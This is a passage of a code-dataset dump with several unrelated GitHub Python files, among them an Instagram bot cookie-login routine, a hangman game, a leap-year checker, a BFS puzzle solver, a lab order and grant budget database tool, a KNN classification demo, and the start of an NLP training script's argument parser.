open(self.path+f'//cookie_{self.username}.bot', 'w+', encoding='utf-8')\n create_cookie.write(self.cookie)\n create_cookie.close()\n self.session = requests.session()\n cookie_obj = requests.cookies.create_cookie(\n name='sessionid', secure=True, value=self.sessionid)\n self.session.cookies.set_cookie(cookie_obj)\n\n elif os.path.exists(self.path+f'//cookie_{self.username}.bot'):\n try:\n read_cookie = open(self.path+f'//cookie_{self.username}.bot', 'r', encoding='utf-8')\n self.cookie = read_cookie.read()\n read_cookie.close()\n homelink = 'https://www.instagram.com/op/'\n self.session = requests.session()\n self.sessionid = self.cookie.split('=')[1].split(';')[0]\n self.csrf_token = self.cookie.split('=')[2].split(';')[0]\n cookie_obj = requests.cookies.create_cookie(\n name='sessionid', secure=True, value=self.sessionid)\n self.session.cookies.set_cookie(cookie_obj)\n login_response = self.session.get(homelink, proxies=self.proxy)\n time.sleep(1)\n soup = BeautifulSoup(login_response.text, 'html.parser')\n soup.find(\"strong\", {\"class\": \"-cx-PRIVATE-NavBar__username -cx-PRIVATE-NavBar__username__\"}).get_text()\n except AttributeError:\n print(bcolors.FAIL+\"[✗] Login Failed! Cookie file is corupted!\"+bcolors.ENDC)\n os.remove(self.path+f'//cookie_{self.username}.bot')\n print(bcolors.WARNING+\"[-] Deleted Corupted Cookie File! Try Again!\"+bcolors.ENDC)\n quit()","repo_name":"Chuan-ldts/ChuanIGApi","sub_path":"ChuanIGApi/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":11846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"38354333956","text":"import random\n\n\ndef jogar():\n imprime_mensagem_abertura()\n palavra_secreta = carrega_palavra_secreta()\n letras_acertadas = [\"_\" for _ in palavra_secreta]\n\n enforcou = False\n acertou = False\n erros = 0\n\n print(letras_acertadas)\n\n while not enforcou and not acertou:\n\n chute = input(\"Qual letra? \")\n chute = chute.strip().upper()\n\n if chute in palavra_secreta:\n index = 0\n for letra in palavra_secreta:\n if chute == letra:\n letras_acertadas[index] = letra\n index += 1\n else:\n erros += 1\n print(\"Ops, você errou! Faltam {} tentativas.\".format(6 - erros))\n\n enforcou = erros == 3\n acertou = \"_\" not in letras_acertadas\n print(letras_acertadas)\n\n if acertou:\n print(\"Você ganhou!\")\n else:\n print(\"Você perdeu!\")\n print(\"Fim de jogo!\")\n\n\ndef imprime_mensagem_abertura():\n print(\"************************************\")\n print(\"***** Bem vindo ao jogo forca! *****\")\n print(\"************************************\")\n\n\ndef carrega_palavra_secreta():\n arquivo = open(\"palavras.txt\", \"r\")\n palavras = []\n\n for linha in arquivo:\n linha = linha.strip()\n palavras.append(linha)\n\n arquivo.close()\n\n numero = random.randrange(0, len(palavras))\n palavra_secreta = palavras[numero].upper()\n\n return palavra_secreta\n\n\nif __name__ == '__main__':\n jogar()\n","repo_name":"JLPS91/iniciando_em_python","sub_path":"forca.py","file_name":"forca.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"25378449147","text":"\"\"\"\n判断用户输入的年份是否为闰年\n\"\"\"\n# -*- encoding: utf-8 -*-\n'''\n@File : 1_4.py\n@Time : 2020/03/04 21:43:33\n@Author : Bundchen \n@Version : 1.0\n@Contact : 1476193741@qq.com\n'''\n\n# here put the import lib\n\nyear = int(input(\"请您任意输入一个年份:\"))\n\n# 闰年分为普通闰年和世纪闰年,需要分别处理\nif year % 100 == 0: # 如果能被100整除,则是世纪年,按世纪闰年来判断\n if year % 400 == 0:\n print(year, \"是闰年\")\n else:\n print(year, \"是平年\")\n\nelif year % 4 == 0: # 不能被100整除的是普通年,按普通闰年的方法来判断\n print(year, \"是闰年\")\nelse:\n print(year, \"是平年\")\n","repo_name":"bsshor/Python_Learning","sub_path":"homework1/1_4.py","file_name":"1_4.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36668519029","text":"def all_widgets(widget):\n \"\"\"\n Iterate over widget and collect all sub-widgets\n\n :param widget: widget to process\n :type widget: QWidget\n :return: generator to iterate through all widgets\n :rtype: generator\n \"\"\"\n if hasattr(widget, 'itemAt'):\n for index in range(widget.count()):\n if hasattr(widget, 'itemAt'):\n generator = all_widgets(widget.itemAt(index))\n for sub_widget in generator:\n if sub_widget != None:\n yield sub_widget\n elif hasattr(widget, 'widget'):\n if widget != None:\n generator = all_widgets(widget.widget())\n for sub_widget in generator:\n if sub_widget != None:\n yield sub_widget\n elif hasattr(widget, 'layout'):\n if widget.layout() != None:\n generator = all_widgets(widget.layout())\n for sub_widget in generator:\n if sub_widget != None:\n yield sub_widget\n yield widget\n else:\n if widget != None:\n yield widget\n else:\n if widget != None:\n yield widget\n\ndef widget(qwidget, matcher):\n \"\"\"\n Find a sub widget in a widget hierarchy\n\n :param widget: widget to iterate through\n :type widget: QWidget\n :param matcher: matcher\n :type: hamcrest matcher\n :returns: widget, if matching one is found, otherwise None\n :rtype: QWidget\n \"\"\"\n for sub_widget in all_widgets(qwidget):\n if matcher.matches(sub_widget):\n return sub_widget\n\n return None\n","repo_name":"tuturto/satin-python","sub_path":"satin/enumerators.py","file_name":"enumerators.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"38967387552","text":"# BFS\n# 아기 상어 2\n\nfrom collections import deque\n\nN, M = map(int, input().split())\n\ndata = []\nfor i in range(N):\n data.append(list(map(int,input().split())))\n\ndef bfs(data, start):\n graph = [d[:] for d in data]\n\n queue = deque()\n queue.append(start)\n\n graph[start[0]][start[1]] = 2 # 첫노드 2부터 시작\n while queue:\n x, y = queue.popleft()\n\n dx = [0,1,1,1,0,-1,-1,-1] # 8가지 방향 정의\n dy = [1,1,0,-1,-1,-1,0,1]\n\n for i in range(8):\n nx = x + dx[i]\n ny = y + dy[i]\n\n if nx < 0 or nx >= N or ny <0 or ny >=M: #범위를 벗어날 경우 무시\n continue\n if graph[nx][ny] == 1: # 다음 노드가 상어가 있다면\n\n return graph[x][y]-1 # 2부터 시작했으니까\n\n if graph[nx][ny] == 0: #다음 노드가 방문하지 않은 노드라면\n graph[nx][ny] = graph[x][y] + 1 # 전 노드 + 1 (방문 처리)\n queue.append((nx,ny)) #방문하지 않았으니 큐에 넣어줌.\n\n \nanswer = 0\nfor i in range(N):\n for j in range(M):\n if data[i][j] == 0:\n answer = max(answer, bfs(data,(i,j)))\nprint(answer)","repo_name":"MSA-FullStack-Developer/Study-Algorithm","sub_path":"seop/백준/BFS+DFS/17086.py","file_name":"17086.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"38413917304","text":"from pathlib import Path\n\n\"\"\"\nrecibe: ruta\nrecibe: opcion de categoria\n\"\"\"\n\n\ndef receta(*args):\n opc = args[0]\n ruta = args[1]\n nueva_ruta = Path(ruta, opc)\n print(\"las recetas de esta categoria son: \")\n c = 0\n dic_receta = {}\n for recetas in nueva_ruta.iterdir():\n c = c + 1\n print(f\"{c}-> {recetas.name}\")\n dic_receta[c] = recetas.name\n opc_receta = input(\"Elije la receta: \")\n ruta_receta = Path(nueva_ruta, dic_receta[int(opc_receta)])\n leer = open(ruta_receta)\n print(leer.read())\n leer.close()","repo_name":"ruizdani301/recetario","sub_path":"listar_recetas.py","file_name":"listar_recetas.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32408131909","text":"import argparse as argparse\nimport numpy as np\nimport pandas as pd\nimport locale\nfrom gui_interface import gui_create_db, gui_load_db, gui_option_window, \\\n gui_add_order, gui_update_order, gui_update_item, gui_message, \\\n gui_get_order_id, gui_query, gui_show_query_table, gui_grants, gui_sivugim, gui_sivug_summary, gui_double_check_window\nfrom db_utils import db_connect, init_db, create_order, update_order, get_order_by_id, delete_order_by_id, get_next_order_id, \\\n query_db_utils, ACTION_ENUM, COLUMN_INDEX\nfrom grant_consts import GRANT_DICTS\n\nlocale.setlocale(locale.LC_ALL, 'en_US')\n\nTAX_CONST = 1.17\n\ndef create_new_db():\n db_path = gui_create_db()\n init_db(db_path)\n return db_path\n\n\ndef load_db():\n db_path = gui_load_db()\n return db_path\n\n\ndef add_order_to_db(db_path):\n unique_distributors = get_unique(db_path, 'distributor')\n unique_grants = get_unique(db_path, 'grant_number')\n unique_sivugs = get_unique(db_path, 'sivug_number')\n\n order_values, items_values = gui_add_order(unique_distributors, unique_grants, unique_sivugs)\n print(order_values, items_values)\n if order_values is None or items_values is None:\n gui_message('Order not added properly.')\n return\n order_id = get_next_order_id(db_path)\n for i, item in enumerate(items_values):\n id = create_order(db_path=db_path, item_id=i+1, order_id=order_id, distributor=order_values['distributor'],\n order_date=order_values['date_picked'], grant_number=order_values['grant_number'],\n SAP_number=order_values['SAP_number'], order_file=order_values['order_file'], price_quote_file=order_values['price_quote_file'],\n price=item['price'], item=item['item'], amount=item['amount'], sivug_number=item['sivug_number'], description=item['description'])\n # TODO how to catch failure?\n gui_message('Order added to DB.')\n\n\ndef update_order_in_db(db_path, order_id=None, item_id=None):\n # if order id is None then get it via gui, otherwise we get it as an argument\n if order_id is None:\n order_id, item_id = gui_get_order_id()\n if order_id is None:\n gui_message('Order id not picked properly.')\n return\n original_order = get_order_by_id(db_path, order_id, item_id)\n\n if original_order is None:\n gui_message('Order id does not exist.')\n return\n\n # if item_id is None then update just the order values, otherwise update the item\n unique_distributors = get_unique(db_path, 'distributor')\n unique_grants = get_unique(db_path, 'grant_number')\n unique_sivugs = get_unique(db_path, 'sivug_number')\n if item_id is None:\n order, items_values = gui_update_order(original_order[0], unique_distributors, unique_grants, unique_sivugs)\n else:\n order = gui_update_item(original_order[0])\n if order is None:\n gui_message('Order not updated properly.')\n return\n\n if item_id is None:\n id = update_order(db_path=db_path, order_id=order_id, distributor=order['distributor'], SAP_number=order['SAP_number'],\n grant_number=order['grant_number'], order_date=order['date_picked'],\n order_file=order['order_file'], price_quote_file=order['price_quote_file'])\n for i, item in enumerate(items_values):\n id = create_order(db_path=db_path, item_id=i + 1, order_id=order_id,\n distributor=order['distributor'],\n order_date=order['date_picked'], grant_number=order['grant_number'],\n SAP_number=order['SAP_number'], order_file=order['order_file'],\n price_quote_file=order['price_quote_file'],\n price=item['price'], item=item['item'], amount=item['amount'],\n sivug_number=item['sivug_number'], description=item['description'])\n else:\n id = update_order(db_path=db_path, order_id=order_id, item_id=item_id, item=order['item'], amount=order['amount'],\n price=order['price'], description=order['description'], sivug_number=order['sivug_number'])\n gui_message('Order updated in DB.')\n\n\ndef delete_order_in_db(db_path, order_id=None, item_id=None):\n if order_id is None and item_id is None:\n order_id, item_id = gui_get_order_id()\n if order_id is None:\n gui_message('Order not deleted properly.')\n return\n items = get_order_by_id(db_path=db_path, order_id=order_id, item_id=item_id)\n if len(items) == 0:\n gui_message('Order id does not exist.')\n return\n else:\n df = pd.DataFrame(items, columns=['Id', 'Order Id', 'Distributor', 'Price', 'Order Date', 'Item', 'Description',\n 'SAP Number', 'Grant Number', 'Sivug Number', 'Order File',\n 'Price Quote File', 'Date Added', 'Amount'])\n double_check_event, double_check_values = gui_double_check_window(\"Are you sure you want to Delete this item?\", df)\n if double_check_event in (None, 'No'):\n gui_message(\"Item not deleted\")\n elif double_check_event in ('Yes'):\n id = delete_order_by_id(db_path=db_path, order_id=order_id, item_id=item_id)\n gui_message('Order deleted from DB.')\n\n\ndef create_query(values):\n query = \"SELECT * FROM orders\"\n num_conds = 0\n if values['id_filter'] != '':\n if num_conds == 0:\n query += ' WHERE '\n if values['id_filter'] == 'RANGE':\n query += '(order_id >= %d and order_id <= %d )' % (values['id_start'], values['id_end'])\n else:\n query += '(order_id %s %d)' % (values['id_filter'], values['id_start'])\n num_conds += 1\n if values['price_filter'] != '':\n if num_conds == 0:\n query += ' WHERE '\n if num_conds > 0:\n query += ' AND '\n if values['price_filter'] == 'RANGE':\n query += '(price >= %f and price <= %f )' % (values['price_start'], values['price_end'])\n else:\n query += '(price %s %f)' % (values['price_filter'], values['price_start'])\n num_conds += 1\n #TODO fix this\n # if values['start_date_picked'] != '':\n # if num_conds == 0:\n # query += ' WHERE '\n # if num_conds > 0:\n # query += ' AND '\n # query += '(date_added >= %s)' % (values['start_date_picked'])\n # num_conds += 1\n # if values['end_date_picked'] != '':\n # if num_conds == 0:\n # query += ' WHERE '\n # if num_conds > 0:\n # query += ' AND '\n # query += '(order_date <= %s)' % (values['end_date_picked'])\n # num_conds += 1\n if values['amount_filter'] != '':\n if num_conds == 0:\n query += ' WHERE '\n if num_conds > 0:\n query += ' AND '\n if values['price_filter'] == 'RANGE':\n query += '(amount >= %f and amount <= %f )' % (values['amount_start'], values['amount_end'])\n else:\n query += '(amount %s %f)' % (values['amount_filter'], values['amount_start'])\n num_conds += 1\n if values['distributor'] != '':\n if num_conds == 0:\n query += ' WHERE '\n if num_conds > 0:\n query += ' AND '\n query += '(distributor = \"%s\" ) ' % values['distributor']\n num_conds += 1\n if values['item'] != '':\n if num_conds == 0:\n query += ' WHERE '\n if num_conds > 0:\n query += ' AND '\n query += '(item = \"%s\" ) ' % values['item']\n num_conds += 1\n if values['SAP_number'] != '':\n if num_conds == 0:\n query += ' WHERE '\n if num_conds > 0:\n query += ' AND '\n query += '(SAP_number = \"%s\" ) ' % values['SAP_number']\n num_conds += 1\n if values['grant_number'] != '':\n if num_conds == 0:\n query += ' WHERE '\n if num_conds > 0:\n query += ' AND '\n query += '(grant_number = \"%s\" ) ' % values['grant_number']\n num_conds += 1\n if values['sivug_number'] != '':\n if num_conds == 0:\n query += ' WHERE '\n if num_conds > 0:\n query += ' AND '\n query += '(sivug_number = \"%s\" ) ' % values['sivug_number']\n num_conds += 1\n\n print(query)\n return query\n\n\ndef get_unique(db_path, field):\n con = db_connect(db_path)\n cur = con.cursor()\n unique_sql = \"SELECT distinct(%s) FROM orders ORDER BY %s ASC\" % (field, field)\n cur.execute(unique_sql)\n unique = cur.fetchall()\n return unique\n\n\ndef query_db(db_path):\n unique_distributors = get_unique(db_path, 'distributor')\n unique_SAP = get_unique(db_path, 'SAP_number')\n unique_items = get_unique(db_path, 'item')\n unique_grants = get_unique(db_path, 'grant_number')\n unique_sivugs = get_unique(db_path, 'sivug_number')\n\n query_values = gui_query(unique_distributors, unique_SAP, unique_items, unique_grants, unique_sivugs)\n if query_values is None:\n gui_message('Query cancelled.')\n return\n query_sql = create_query(query_values)\n again = True\n while again:\n items = query_db_utils(db_path, query_sql)\n if len(items) == 0:\n gui_message(\"No such items exist in DB. Try again!\")\n return\n df = pd.DataFrame(items, columns=['Id', 'Order Id', 'Distributor', 'Price', 'Order Date', 'Item', 'Description',\n 'SAP Number', 'Grant Number', 'Sivug Number', 'Order File',\n 'Price Quote File', 'Date Added', 'Amount'])\n again = gui_show_query_table(db_path, df)\n\n\ndef show_grant_totals(db_path):\n con = db_connect(db_path)\n cur = con.cursor()\n grant_info_df = pd.DataFrame(columns=['Grant Number', 'Grant Total',\n 'Grant Spent', 'Grant Remaining',\n 'Percentage Spent'])\n for grant in GRANT_DICTS.keys():\n if grant in [\"3015002026\", \"3186000162\"]:\n currency_const = 3.5\n else:\n currency_const = 1.0\n cur_grant = GRANT_DICTS[grant]\n # get total money for that grant\n grant_total = np.sum([cur_grant[sivug]['Amount'] for sivug in cur_grant])\n grant_spent_sql = \"SELECT price, amount FROM orders WHERE grant_number = %s\" %grant\n cur.execute(grant_spent_sql)\n grant_item_prices = cur.fetchall()\n if len(grant_item_prices) > 0:\n grant_spent = 0\n for item in grant_item_prices:\n grant_spent += item[0] * item[1] * TAX_CONST / currency_const\n else:\n grant_spent = 0\n grant_remaining = grant_total - grant_spent\n percentage_spent = np.round(grant_spent / float(grant_total), decimals=2) * 100.0\n grant_remaining = locale.format_string(\"%.2f\", grant_remaining, grouping=True)\n grant_total = locale.format_string(\"%.2f\", grant_total, grouping=True)\n grant_spent = locale.format_string(\"%.2f\", grant_spent, grouping=True)\n cur_grant_info = {\"Grant Number\": grant, \"Grant Total\": grant_total,\n \"Grant Spent\": grant_spent, \"Grant Remaining\": grant_remaining,\n \"Percentage Spent\": percentage_spent}\n grant_info_df = grant_info_df.append(cur_grant_info, ignore_index=True)\n gui_grants(db_path, grant_info_df)\n\n\ndef show_sivugim(db_path, grant_info, all_grants=False):\n con = db_connect(db_path)\n cur = con.cursor()\n cur_grant = GRANT_DICTS[grant_info['Grant Number']]\n sivug_info_df = pd.DataFrame(columns=['Sivug Number', 'Sivug Total',\n 'Sivug Spent', 'Sivug Remaining',\n 'Percentage Spent'])\n for sivug in cur_grant.keys():\n if grant_info['Grant Number'] in [\"3015002026\", \"3186000162\"]:\n currency_const = 3.5\n else:\n currency_const = 1.0\n cur_sivug = cur_grant[sivug]\n sivug_total = cur_sivug['Amount']\n sivug_spent_sql = \"SELECT price, amount FROM orders WHERE sivug_number = %s\" % sivug\n if not all_grants:\n sivug_spent_sql += \" AND grant_number = %s\" % grant_info['Grant Number']\n cur.execute(sivug_spent_sql)\n sivug_item_prices = cur.fetchall()\n if len(sivug_item_prices) > 0:\n sivug_spent = 0\n for item in sivug_item_prices:\n sivug_spent += item[0] * item[1] * TAX_CONST / currency_const\n else:\n sivug_spent = 0\n sivug_remaining = sivug_total - sivug_spent\n if sivug_total == 0.0:\n percentage_spent = 0.0\n else:\n percentage_spent = np.round(sivug_spent / float(sivug_total), decimals=2) * 100.0\n sivug_remaining = locale.format_string(\"%.2f\", sivug_remaining, grouping=True)\n sivug_total = locale.format_string(\"%.2f\", sivug_total, grouping=True)\n sivug_spent = locale.format_string(\"%.2f\", sivug_spent, grouping=True)\n cur_sivug_info = {\"Sivug Number\": sivug, \"Sivug Total\": sivug_total,\n \"Sivug Spent\": sivug_spent, \"Sivug Remaining\": sivug_remaining,\n \"Percentage Spent\": percentage_spent}\n sivug_info_df = sivug_info_df.append(cur_sivug_info, ignore_index=True)\n # get all sivugim totals\n gui_sivugim(db_path, grant_info, sivug_info_df, all_grants)\n\n\ndef show_grant_and_sivugim(db_path):\n con = db_connect(db_path)\n cur = con.cursor()\n sivug_info_df = pd.DataFrame(columns=['Grant Number', 'Sivug Number', 'Sivug Total',\n 'Sivug Spent', 'Sivug Remaining',\n 'Percentage Spent', 'Shared Index', 'Amount Shared Total',\n 'Amount Shared Spent', 'Amount Shared Remaining'])\n for grant in GRANT_DICTS.keys():\n if grant in [\"3015002026\", \"3186000162\"]:\n currency_const = 3.5\n else:\n currency_const = 1.0\n cur_grant = GRANT_DICTS[grant]\n shared_dict = {}\n for sivug in cur_grant.keys():\n cur_sivug = cur_grant[sivug]\n if cur_sivug['Shared'] is None:\n continue\n if cur_sivug['Shared'] not in shared_dict.keys():\n shared_dict[cur_sivug['Shared']] = {'Total': 0, 'Spent': 0}\n shared_dict[cur_sivug['Shared']]['Total'] += cur_sivug['Amount']\n\n shared_spent_sql = \"SELECT sivug_number, price, amount FROM orders WHERE grant_number = %s\" % grant\n cur.execute(shared_spent_sql)\n sivug_item_prices = cur.fetchall()\n for item in sivug_item_prices:\n try:\n shared_dict[cur_grant[str(item[0])]['Shared']]['Spent'] += item[1] * item[2] * TAX_CONST / currency_const\n except KeyError:\n print(\"Check your Sivugim! Sivug number %s of them does not exist.\" % str(item[0]))\n\n for k, v in shared_dict.items():\n shared_dict[k]['Remaining'] = v['Total'] - v['Spent']\n shared_dict[k]['Total'] = locale.format_string(\"%.2f\", shared_dict[k]['Total'], grouping=True)\n shared_dict[k]['Spent'] = locale.format_string(\"%.2f\", shared_dict[k]['Spent'], grouping=True)\n shared_dict[k]['Remaining'] = locale.format_string(\"%.2f\", shared_dict[k]['Remaining'], grouping=True)\n\n for sivug in cur_grant.keys():\n cur_sivug = cur_grant[sivug]\n sivug_total = cur_sivug['Amount']\n sivug_spent_sql = \"SELECT price, amount FROM orders WHERE sivug_number = %s AND grant_number = %s\" % (sivug, grant)\n cur.execute(sivug_spent_sql)\n sivug_item_prices = cur.fetchall()\n if len(sivug_item_prices) > 0:\n sivug_spent = 0\n for item in sivug_item_prices:\n sivug_spent = item[0] * item[1] / currency_const\n else:\n sivug_spent = 0\n sivug_remaining = sivug_total - sivug_spent\n if sivug_total == 0.0:\n percentage_spent = 0.0\n else:\n percentage_spent = np.round(sivug_spent / float(sivug_total), decimals=2) * 100.0\n sivug_remaining = locale.format_string(\"%.2f\", sivug_remaining, grouping=True)\n sivug_total = locale.format_string(\"%.2f\", sivug_total, grouping=True)\n sivug_spent = locale.format_string(\"%.2f\", sivug_spent, grouping=True)\n\n if cur_sivug['Shared'] is not None:\n sivug_shared_total = shared_dict[cur_sivug['Shared']]['Total']\n sivug_shared_spent = shared_dict[cur_sivug['Shared']]['Spent']\n sivug_shared_remaining = shared_dict[cur_sivug['Shared']]['Remaining']\n else:\n sivug_shared_total = sivug_total\n sivug_shared_spent = sivug_spent\n sivug_shared_remaining = sivug_remaining\n\n cur_sivug_info = {\"Grant Number\": grant, \"Sivug Number\": sivug, \"Sivug Total\": sivug_total,\n \"Sivug Spent\": sivug_spent, \"Sivug Remaining\": sivug_remaining,\n \"Percentage Spent\": percentage_spent, \"Shared Index\": str(cur_sivug['Shared']),\n \"Amount Shared Total\": sivug_shared_total,\n \"Amount Shared Spent\": sivug_shared_spent,\n \"Amount Shared Remaining\": sivug_shared_remaining}\n sivug_info_df = sivug_info_df.append(cur_sivug_info, ignore_index=True)\n gui_sivug_summary(db_path, sivug_info_df)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('mode', type=str,\n help='What mode to run our db interface in',\n default='load')\n args = parser.parse_args()\n return args\n\n\nif __name__ == '__main__':\n args = parse_args()\n # Either create a new db or load an existing one\n if args.mode == 'new':\n db_path = create_new_db()\n elif args.mode == 'load':\n db_path = load_db()\n while True:\n # Open gui window that decides whether to add order, update order, filter order\n action = gui_option_window()\n\n # # Depending on choice then call appropriate gui window:\n if action == ACTION_ENUM['ADD']:\n add_order_to_db(db_path)\n elif action == ACTION_ENUM['UPDATE']:\n update_order_in_db(db_path)\n elif action == ACTION_ENUM['DELETE']:\n delete_order_in_db(db_path)\n elif action == ACTION_ENUM['QUERY']:\n query_db(db_path)\n elif action == ACTION_ENUM['GRANTS']:\n show_grant_totals(db_path)\n elif action == ACTION_ENUM['GRANTS_SIVUG']:\n show_grant_and_sivugim(db_path)\n elif action == ACTION_ENUM['EXIT']:\n break\n","repo_name":"DanKufra/Yassour_Lab_Order_DB","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":19000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36055231154","text":"\r\n\r\n\"\"\" Betrachtet Daten anhand ihrer Nachbarn \"\"\"\r\n\r\n\r\n## ##########################\r\n## Teil 0: Einlesen der Daten\r\n## ##########################\r\n\r\nimport pandas as pd\r\n\r\ndf = pd.read_csv(\"./Python_Training/Machine Learning/Klassifikation/CSV/classification.csv\")\r\n\r\n\r\n## ################################################################\r\n## Teil 1: Aufteilung in Trainings- und Testdaten (hier: 75% / 25%)\r\n## ################################################################\r\n\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n# Welche Spalten sollen zur Vorhersage verwendet werden\r\nX = df[[\"age\", \"interest\"]].values\r\n\r\n\"\"\" Oder: Die Spalte \"success\" soll nicht zur Vorhersage verwendet werden:\r\n X = df.drop(\"success\", axis = 1).values \"\"\"\r\n\r\ny = df[\"success\"].values\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0, test_size = 0.25)\r\n\r\n\r\n## ########################\r\n## Teil 2: Daten skallieren\r\n## ########################\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\nscaler = StandardScaler()\r\nscaler.fit(X_train)\r\n\r\nX_train = scaler.transform(X_train)\r\nX_test = scaler.transform(X_test)\r\n\r\n\r\n## ##########################################\r\n## Teil 3: Nachbarschaftsstrukturen berechnen\r\n## ##########################################\r\n\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\n\r\n\"\"\" n_neighbors gibt die Anzahl der berücksichtigen Nachbarn an \"\"\"\r\nmodel = KNeighborsClassifier(n_neighbors = 15)\r\nmodel.fit(X_train, y_train)\r\n\r\nprint(model.score(X_test, y_test))\r\n\r\n\r\n## ##########################\r\n## Teil 4: Ergebnisse plotten\r\n## ##########################\r\n\r\n\"\"\" Hinweis: Benötigt plot_classifier.py \"\"\"\r\n\r\nfrom Support.plot_classifier import plot_classifier\r\n\r\n# Trainings-Daten plotten\r\nplot_classifier(model, X_train, y_train, proba = True, xlabel = \"Alter\", ylabel = \"Interesse\")\r\n\r\n# Testdaten plotten\r\nplot_classifier(model, X_test, y_test, proba = True, xlabel = \"Alter\", ylabel = \"Interesse\")\r\n\r\n\r\n","repo_name":"stanman71/Python_Basics","sub_path":"Machine Learning/Klassifikation/K-Nearest-Neighbors.py","file_name":"K-Nearest-Neighbors.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9697502935","text":"import os\nimport sys\nimport json\nimport datetime\nimport argparse\nimport math\nimport time\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.backends.cudnn as cudnn\nimport pandas as pd\n\nfrom transformers import AdamW, get_linear_schedule_with_warmup\n#from fairseq.models.bart import BARTModel\n#from transformers import BartTokenizer\n\nfrom utils_en import *\nfrom model_utils import FocalLoss, LDAMLoss\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='TranGen Training')\n parser.add_argument('--gpu', action='store_true', help='use of GPU') \n parser.add_argument('--cpu', dest='gpu', action='store_false', help='use of GPU') \n parser.set_defaults(gpu=False)\n\n parser.add_argument('--device', default=0, type=int, help='GPU device') \n parser.add_argument('--learning_rate', default=5e-5, type=float, help='learning rate')\n parser.add_argument('--batch_size', default=32, type=int, help='batch size')\n parser.add_argument('--num_of_epoch', default=200, type=int, help='total epochs to run')\n parser.add_argument('--random_seed', default=7777, type=int, help='random seed')\n parser.add_argument('--warmup_ratio', default=0.1, type=float, help='warmup-ratio')\n parser.add_argument('--max_grad_norm', default=1., type=float, help='max grad norm')\n parser.add_argument('--MAX_LEN', default=128, type=int, help='max length of words in one sentence')\n parser.add_argument('--dr_rate', default=0.5, type=float, help='drop-out ratio of a classfication layer')\n\n parser.add_argument('--dataset', default=None, type=str, choices=['ATIS', 'TREC', 'SNIPS', 'SENT'], help='dataset')\n parser.add_argument('--data_setting', default=None, type=str, choices=['all', 'longtail', 'step'], help='data setting') \n parser.add_argument('--imbalanced_ratio', default=None, type=int, choices=[10, 100], help='imbalanced ratio')\n\n parser.add_argument('--train_bert', action='store_true', help='a flag of update/no update of parameters of BERT') # CPU?\n parser.add_argument('--no_train_bert', dest='train_bert', action='store_false', help='a flag of update/no update of parameters of BERT') # CPU?\n parser.set_defaults(train_bert=True) \n parser.add_argument('--loss_type', default='CE', type=str, choices=['CE', 'Focal', 'LDAM'], help='a loss type')\n \n parser.add_argument('--data_augment', action='store_true', help='a flag of data augmentation for training the classifier') # CPU? \n parser.set_defaults(data_augment=False) \n\n parser.add_argument('--cmodel', default=None, type=str, choices=['our', 'standard', 'Focal'], help='a classification model') # our: LDAM, standard: CE\n parser.add_argument('--gmodel', default=None, type=str, choices=['bart', 'our', 'lambada'], help='a generation model')\n\n parser.add_argument('--result_path', default='./result/', type=str) \n parser.add_argument('--min_valid_data_num', default=5, type=int) \n\n # for translation\n parser.add_argument('--beta', default=0.99, type=float, help='beta')\n parser.add_argument('--mask_ratio', default=0.2, type=float, help='mask_ratio of bart_span')\n parser.add_argument('--target_sample_num', default=None, choices=['N1', 'Nk'], type=str, help='for bart')\n parser.add_argument('--source_selection', default='random', choices=['random', 'cluster'], type=str, help='for bart')\n parser.add_argument('--use_token_importance_file', dest='use_token_importance_file', action='store_true', help='use token importance') # CPU?\n parser.set_defaults(use_token_importance_file=False) \n \n # for HEAD (temporal)\n parser.add_argument('--head_only', action='store_true', help='HEAD data only') \n parser.set_defaults(head_only=False) \n \n parser.add_argument('--teacher', default=None, type=str, help='a teacher model name for WARM_LEARNING')\n parser.add_argument('--cancel_pos', default=False, type=bool)\n parser.add_argument('--additive', default=False, type=bool)\n parser.add_argument('--binary_class_idx', default=None, type=int)\n parser.add_argument('--eval_only', default=False, type=bool)\n parser.add_argument('--eval_log', default=False, type=bool)\n \n parser.add_argument('--TMix', default=False, type=bool)\n parser.add_argument('--HEAD_labels', default=None, type=int)\n parser.add_argument('--TAIL_labels', default=None, type=int)\n parser.add_argument('--TOTAL_labels', default=None, type=int)\n\n \n return parser.parse_args()\n\nARGS = parse_args()\nprint('== Arguments ==')\nprint(ARGS)\n\n# legacy code - Needs to be refactored\nset_global_variables(ARGS.gpu, ARGS.device, ARGS.MAX_LEN, ARGS.batch_size)\n\n# Real = [ATIS, TREC], Imbalance manipulation = [SNIPS]\nif ARGS.dataset == 'ATIS': \n N_SAMPLES = -1\nelif ARGS.dataset == 'SNIPS':\n N_SAMPLES = 1000\nelif ARGS.dataset == 'TREC':\n N_SAMPLES = 1000\nelif ARGS.dataset == 'SENT':\n N_SAMPLES = 1707\n #N_SAMPLES = 100\nelse:\n print('Dataset:', ARGS.dataset)\n raise 